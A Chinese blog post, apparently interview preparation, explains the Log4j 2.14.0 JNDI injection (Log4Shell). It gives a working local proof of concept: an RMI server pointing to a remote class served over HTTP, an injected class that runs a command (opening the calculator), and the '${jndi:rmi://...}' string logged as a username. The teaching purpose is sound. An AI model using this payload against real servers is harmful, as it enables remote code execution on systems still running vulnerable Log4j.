vlambda博客
学习文章列表

阿里面试题:了解去年的log4j事件吗?

最近在找实习,面阿里的时候被问了一个问题:了解log4j事件吗?

常规操作

首先配置依赖:

此处选的版本还是有漏洞的版本。

<properties>
    <log4.version>2.14.0</log4.version>
</properties>
<dependencies>
    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>${log4.version}</version>
    </dependency>

    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>${log4.version}</version>
    </dependency>
</dependencies>

可能需要一些配置,放在log4j2.properties里。

尝试常规打印操作:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

class Solution {
    private static final Logger logger = LogManager.getLogger(Solution.class);
    // Solution.class: 追踪产生此日志的类.

    public static void main(String[] args) {
        String userName = "orzlinux.cn";
        logger.info("我的网站是:{}",userName);
        // output:
        // 2022-03-17 10:12:12 INFO Solution:12 - 我的网站是:orzlinux.cn
    }
}

开始不对劲

public static void main(String[] args) {
    String userName = "${java:os}";
    logger.info("我的网站是:{}",userName);
    // output:
    // 2022-03-17 10:19:32 INFO Solution:13 - 我的网站是:Windows 10 10.0, architecture: amd64-64
}

JNDI

The Java Naming and Directory Interface,是一组在java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,可以通过名称访问对象。

例如RMI远程调用的形式。

Naming

  • Bindings:一个名称和对应的对象的绑定关系

  • Context:上下文,一个上下文对应着一组名称到对象的绑定关系。例如文件系统中,一个目录就是一个上下文。子目录也可以称为一个上下文。

  • References:有些对象可能无法直接存储在系统里,就以引用的形式存储。

Directory

目录服务可以看做是名称服务的一种扩展,除了名称服务中已有的名称到对象的关联信息之外,还允许对象拥有属性信息,所以不仅可以根据名称查找对象(lookup),还可以根据属性值去搜索对象(search)。

例如打印服务,在命名服务中,可以根据打印机名称去获取打印机对象的引用,然后进行打印操作;同时打印机有速率,分辨率,颜色这些属性,作为目录服务,用户可以根据打印机的属性去搜索响应的打印机对象。

API

RMI

Remote Method Invocation,java自带的远程调用框架。

以前有过笔记:RMI和JMX - hqinglau的博客(放在原文链接)

JNDI注入

整体流程

阿里面试题:了解去年的log4j事件吗?

server

public class Server{

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException, InterruptedException {
        Registry registry = LocateRegistry.createRegistry(8181);
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase""true");
        Reference reference = new Reference("Inject""Inject""http://127.0.0.1:9999/");
        // 位于另外的服务器,例如用一个python启动:python3 http.server -m 9999, 便可以简单的通过网络传输class文件
        // 客户发起rmi请求之后,会尝试从http://127.0.0.1:9999/Inject.class获取并加载文件
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.rebind("inject", wrapper);

        System.out.println("服务已启动");
        Thread.currentThread().join();
    }

    public Server() {}
}

启动文件服务

D:\Users\javaProjects\javaLearn\src\main\java> python3 -m  http.server 9999

示例:

阿里面试题:了解去年的log4j事件吗?

client

public class Client {
    private Client() {}

    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
        // 使用JDNI在命名服务中发布引用
        Hashtable env = new Hashtable();
        // 在新版本java中,有rmi限制,此处只是举个注入例子,应有其他方法注入
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase""true");
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:8181");
        InitialContext context = new InitialContext(env);
        Object obj = context.lookup("rmi://127.0.0.1:8181/inject");
        System.out.println(obj);
    }
}

public class Inject {
    static {
        System.out.println("I can do anything.");
    }
}

打印出了:

I can do anything.

如果里面是计算机指令呢?

public class Inject {
    static {
        try {
            //打开计算机
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
        System.out.println("I can do anything.");
    }
}

运行client之后,自动打开了计算器。

这个就比较可怕了。

回到log4j

class Solution {
    private static final Logger logger = LogManager.getLogger(Solution.class);
    // Solution.class: 追踪产生此日志的类.
    public static void main(String[] args) {
        String userName = "${jndi:rmi://127.0.0.1:8181/inject}";
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase""true");
        logger.info("my name is: {}",userName);
    }
}

输出是:

I can do anything.
2022-03-17 12:02:52 INFO  Solution:14 - my name is: ${jndi:rmi://127.0.0.1:8181/inject}

同时,还打开了计算器。



想想就知道这件事的可怕了,一个网站,可以输入用户名和密码,服务器后台会记录日志。我啪的一下,用户名输入了一串:
${jndi:rmi://127.0.0.1:8181/inject}


服务器后台打印的时候就执行了我们的注入程序,例子里既然能打开服务器的计算器,就可能非法访问文件,甚至破坏服务器。




往期内容:






欢迎关注我查看更多内容: